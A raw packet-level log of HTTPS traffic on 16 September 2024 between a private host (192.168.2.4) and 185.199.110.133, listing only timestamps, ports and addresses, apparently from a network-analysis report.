Sep 16, 2024 19:32:59.951649904 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.951649904 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.951664925 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.951718092 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.951858044 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.951877117 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.951922894 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.951939106 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.951961994 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952272892 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952280045 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952294111 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952316999 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952336073 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952358007 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952368021 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952393055 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952418089 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952641964 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952661991 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952694893 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952701092 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952713013 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952713966 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952739000 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952768087 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952775002 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952801943 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952807903 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952891111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952908993 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952941895 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952944994 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.952975988 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.952989101 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.953095913 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.953114986 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.953145981 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.953150988 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.953180075 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.953195095 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.953665972 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.953685045 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.953721046 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.953732967 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.953758955 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.953797102 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.954739094 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.954757929 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.954794884 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.954806089 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.954840899 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.954860926 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.955924034 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.955943108 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.955979109 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.955991030 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.956016064 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.956054926 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.003283978 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.023242950 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.030251026 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.030278921 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.030313015 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.030323029 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.030339956 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.030359030 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.030730963 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.030750990 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.030781984 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.030787945 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.030812025 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.030833960 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.031757116 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.031780958 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.031817913 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.031822920 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.031841040 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.031861067 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.032449961 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.032476902 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.032505035 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.032509089 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.032532930 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.032553911 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.032686949 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.032715082 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.032728910 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.032747984 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.032751083 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.032774925 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.032808065 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.033246040 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.033266068 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.033304930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.033309937 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.033335924 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.033349037 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.033791065 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.033809900 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.033838987 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.033843994 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.033878088 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.033884048 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.034321070 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.034338951 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.034378052 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.034384012 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.034403086 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.034413099 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.034423113 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.034440994 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.034466028 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.034471035 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.034499884 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.034513950 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.035353899 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.035373926 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.035403013 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.035408020 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.035428047 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.035449028 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.035939932 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.035959005 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.035993099 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.035996914 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.036025047 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.036025047 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.036571026 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.036590099 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.036623001 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.036628962 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.036662102 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.036757946 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.036894083 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.036911964 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.036942005 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.036947012 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.036999941 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.037019968 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.039335012 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.039352894 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.039391041 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.039393902 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.039422989 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.039441109 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.039792061 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.039809942 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.039901018 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.039901018 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.039905071 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.039938927 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.040251970 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.040276051 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.040298939 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.040302992 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.040332079 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.040344954 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041380882 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041402102 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041445017 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041462898 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041488886 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041506052 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041604042 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041624069 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041660070 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041671991 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041697979 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041734934 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041836977 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041858912 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041899920 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041913033 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.041939020 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.041990042 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.042562962 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.042581081 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.042630911 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.042644024 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.042691946 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.042691946 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.043353081 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.043373108 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.043411016 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.043423891 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.043450117 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.043468952 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.044279099 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.044297934 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.044339895 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.044357061 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.044379950 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.044425011 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.045440912 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.045460939 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.045500040 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.045527935 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.045552969 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.046650887 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.046930075 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.046948910 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.046986103 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.047003031 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.047044039 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.047997952 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.117053986 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.117079973 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.117196083 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.117208004 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.117316961 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.117531061 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.117548943 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.117619991 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.117619991 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.117625952 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.117677927 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.118680000 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.118699074 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.118762970 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.118767977 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.118784904 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.118891954 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.118966103 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.118984938 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.119024992 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.119038105 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.119066954 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.119074106 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.119570017 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.119589090 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.119668007 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.119668007 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.119673967 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.119739056 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.119956970 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.119981050 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.120044947 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.120044947 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.120053053 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.120150089 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.120673895 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.120692968 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.120779037 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.120779037 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.120784044 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.121120930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.121268034 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.121284962 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.121371031 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.121371031 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.121376991 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.121416092 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.121448040 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.121448994 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.121476889 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.121480942 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.121504068 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.121556997 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.122262001 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.122294903 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.122370005 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.122375011 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.122400999 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.122426987 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.122778893 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.122796059 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.122862101 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.122864962 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.122890949 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.122951984 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.123326063 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.123353004 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.123398066 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.123404026 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.123454094 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.123454094 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.123883009 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.123899937 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.123970032 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.123970032 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.123975992 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.124161959 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.126528978 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.126548052 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.126627922 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.126637936 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.126780987 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.126804113 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.126841068 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.126844883 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.126869917 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.126912117 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.126979113 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.126996040 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.127049923 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.127054930 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.127079010 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.127161980 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.132302999 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.132323027 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.132555962 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.132596016 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.132623911 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.132659912 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.132694960 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.132694960 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.132821083 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.132839918 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.132925034 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.132925034 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.132941961 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.133430004 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.133452892 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.133491039 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.133503914 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.133527994 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.134248972 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.134265900 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.134327888 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.134341002 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.134376049 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.135219097 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.135243893 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.135292053 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.135305882 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.135330915 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.136401892 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.136420012 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.136519909 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.136519909 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:00.136535883 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:00.137676001 CEST	443	49763	185.199.110.133	192.168.2.4
